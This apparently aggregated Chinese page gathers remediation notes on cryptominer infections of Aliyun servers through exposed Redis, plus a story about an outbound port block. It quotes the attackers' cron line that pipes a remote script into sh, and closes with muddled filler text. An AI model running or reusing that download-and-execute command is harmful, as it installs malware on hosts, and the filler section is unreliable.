阿里云挖矿病毒杀死tomcat

① 阿里云服务器被挖矿了怎么办(纯纯电脑小白

1. 关闭访问挖矿服务器的访问

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.

2. chmod -x minerd ,取消掉执行权限， 在没有找到根源前，千万不要删除 minerd，因为删除了，过一回会自动有生成一个。

3. pkill minerd ,杀掉进程

4. service stop crond 或者 crontab -r 删除所有的执行计划

5. 执行top，查看了一会，没有再发现minerd 进程了。

6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。

下载脚本的语句：

*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件内容如下，感兴趣的可以研究下：

View Code

解决minerd并不是最终的目的，主要是要查找问题根源，我的服务器问题出在了redis服务了，黑客利用了redis的一个漏洞获得了服务器的访问权限，http://blog.jobbole.com/94518/然后就注入了病毒，下面是解决办法和清除工作：

1. 修复 redis 的后门,

配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号

3. 查看你的用户列表，是不是有你不认识的用户添加进来。 如果有就删除掉.

② 阿里云yum工具和出站80端口不可用的问题排查一例

收到阿里云短信/站内信提醒，线上某资源被病毒入侵。查看告警详情及登录服务器后确认是感染了DDG挖矿病毒，入侵点是redis。由于病毒行为复杂，难以彻底清除对系统的修改，决定重置该实例然后重新部署服务。

实例重置后，发现yum无法使用。提示yum连接超时，连接的目标主机是阿里云的yum源（233.*的IP地址，为外网地址），协议为HTTP。

进一步测试发现DNS解析正常，curl访问内网的80端口正常，访问外网所有80端口均超时，访问外网的8080/443等部分非80端口正常。

经检查机器的iptables没有启用，阿里云安全组出站方向无限制。随后提交工单联系阿里云。

售后客服在工单中答复，之前机器被检测到有大量web攻击行为，阿里云已对该实例进行了出站特定端口封禁处理。在工单内表示问题已经排除后，客服提前人工解除封禁。

这类封禁处理不会体现在安全组，可以在 云盾安全管控管理控制台 来查看封禁记录。这个控制台也可以在阿里云控制台右上角账户图标--安全管控--处罚列表处进入。另外，处罚通知也会以站内信的方式发送（是否有短信暂不明确），所以及时查收站内信非常必要。

作为RAM用户身份登录难以保持登录状态，同时主账号对通知方式的设置不合理，加上对阿里云检测和通知机制不够熟悉，导致这次问题排查持续时间较久。

阿里云 yum 出站 端口 封禁 入侵

③ 阿里云因未及时上报漏洞被处罚，该漏洞有着怎样的严重性

该漏洞可以被犯罪分子或者网络黑客用于强制安装恶意程序、传播病毒并且植入木马等。而且系统漏洞很容易导致计算机上的关键信息和信息内容被盗，严重的情况会导致实际操作系统被破坏，计算机上的所有数据和信息都会丢失。

一个精致的计算机病毒程序，进入系统后一般不容易立即发病，而是潜伏在合理合法的文件中。病毒通常可以潜伏很长时间而不被发现。病毒的自限性越好，在系统中存在的时间越长，病毒感染的范围就越大。指病毒因某一时间或标志的发生而引诱病毒执行感或进攻的特点。计算机中毒后，很可能会导致所有正常程序无法运行，损坏计算机中的删除文件或不同水平的计算机文件。计算机病毒具有很强的隐藏性，有的可以根据计算机杀毒软件进行检测，有的基本找不到，这种病毒通常很难解决。